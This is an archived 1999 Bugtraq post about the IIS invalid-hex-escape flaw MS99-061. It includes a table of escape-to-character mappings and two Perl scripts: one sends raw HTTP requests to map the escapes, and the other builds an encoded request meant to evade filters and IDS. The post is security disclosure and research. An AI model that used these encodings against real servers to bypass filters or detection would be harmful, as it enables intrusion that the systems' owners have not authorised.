TUCoPS :: Web :: IIS :: ms99-0~1.txt

IIS Escape Character Vulnerability

---------- Forwarded message ----------
Date: Wed, 29 Dec 1999 21:39:29 -0600 (EST)
From: ".rain.forest.puppy." <rfp@wiretrip.net>
To: bugtraq@securityfocus.com, vacuum@technotronic.com,
    win2ksecadvice@listserv.ntsecurity.net
Subject: More info on MS99-061 (IIS escape character vulnerability)


I found myself curious on the exact happenings of this vulnerability, so I
decided to look into it further.  Who knows, maybe another anti-IDS tactic
for whisker. :)

Anyways, the problem is that IIS parses invalid hex escape sequences.  For
instance, %ff, %9a, and %0d are valid since FF, 9A, and 0D are valid
hexidecimal numbers.  To be valid, it must be two chars only using the
digits A-Z, a-z, and 0-9.  However, IIS was also allowing things such as
%qj, %0z, and %g4, which are not valid hexidecimal values.

So what I did was set out on a quest to find out what parses to what. I
came up with a rough table of mappings.  The results come from submitting
'%1?', where '?' is the character who's ascii value is represented below:

87 -> 0		137 -> i
88 -> 1		138 -> j
89 -> 2		139 -> k
90 -> 3		140 -> l
91 -> 4		141 -> m
92 -> 5		142 -> n
93 -> 6		143 -> o
94 -> 7		144 -> p
95 -> 8		145 -> q
96 -> 9		146 -> r
129 -> a	147 -> s
130 -> b	148 -> t
131 -> c	149 -> u
132 -> d	150 -> v
133 -> e	151 -> w
134 -> f	152 -> x
135 -> g	153 -> y
136 -> h	154 -> z

This table was generated using the first included perl program (below).
Now, to test it, I used the second perl program included below to make a
substituted request for 'default.asp'.  The important portion of the perl
program is:

$str="%1" . chr(132); # d
$str.="%1". chr(133); # e
$str.="%1". chr(134); # f
$str.="%1". chr(129); # a
$str.="%1". chr(149); # u
$str.="%1". chr(140); # l
$str.="%1". chr(148); # t
$str.='.';
$str.="%1". chr(129); # a
$str.="%1". chr(147); # s
$str.="%1". chr(144); # p

Here we see the request is made up of nothing bug '%1?', where ? is the
corresponding ascii character.  End result?  It works.

What does this allow you to bypass?  My guess is anything that plays or
needs the raw filename or request.  ISAPI filters and extension handlers
come to mind.  Who, what, where, and how are application specific.

Just a little bit of geek info.  I saw enough 'can we get more information
on this' posts that I thought I could shed a little more light on the
subject.  It was tough tho, with the depth of Microsoft's explanation in
their advisories. :)

rain forest puppy
rfp@wiretrip.net / www.wiretrip.net/rfp/

-----------------------------------------------------------------

#!/usr/bin/perl
$|=1; use Socket;
$inet=inet_aton('10.0.0.1'); # webserver to test
@DXX=(); $val=0;

while($val++ < 255){
 $cval="\%1".chr($val);
 sendraw("GET /$cval.idc HTTP/1.0\n\n");
 foreach $line (@DXX){
 if($line=~/query file <b>\/([a-zA-Z0-9]+).idc<\/b>/){
  print "$val -> $1\n"; last;}}}

sub sendraw { my ($pstr)=@_;
 $PROTO=getprotobyname('tcp')||0;
 if(!(socket(S,PF_INET,SOCK_STREAM,$PROTO))){ die("socket");}
 if(connect(S,pack "SnA4x8",2,80,$inet)){
  select(S);      $|=1;
  print $pstr;    @DXX=<S>; 
  select(STDOUT); close(S); 
  return;
 } else { die("not responding"); }}


-----------------------------------------------------------------------

#!/usr/bin/perl
$|=1; use Socket;
$inet=inet_aton('10.0.0.1'); # webserver to test
@DXX=(); $val=0;

$str="%1".chr(132);  # d
$str.="%1".chr(133); # e
$str.="%1".chr(134); # f
$str.="%1".chr(129); # a
$str.="%1".chr(149); # u
$str.="%1".chr(140); # l
$str.="%1".chr(148); # t
$str.='.';
$str.="%1".chr(129); # a
$str.="%1".chr(147); # s
$str.="%1".chr(144); # p

sendraw("GET /$str HTTP/1.0\n\n");
print @DXX;

sub sendraw {   # raw network functions stay in here
        my ($pstr)=@_;
        $PROTO=getprotobyname('tcp')||0;
        if(!(socket(S,PF_INET,SOCK_STREAM,$PROTO))){ die("socket");}
        if(connect(S,pack "SnA4x8",2,80,$inet)){
                select(S);      $|=1;
                print $pstr;    @DXX=<S>;
                select(STDOUT); close(S);
                return;
        } else { die("not responding"); }}




TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH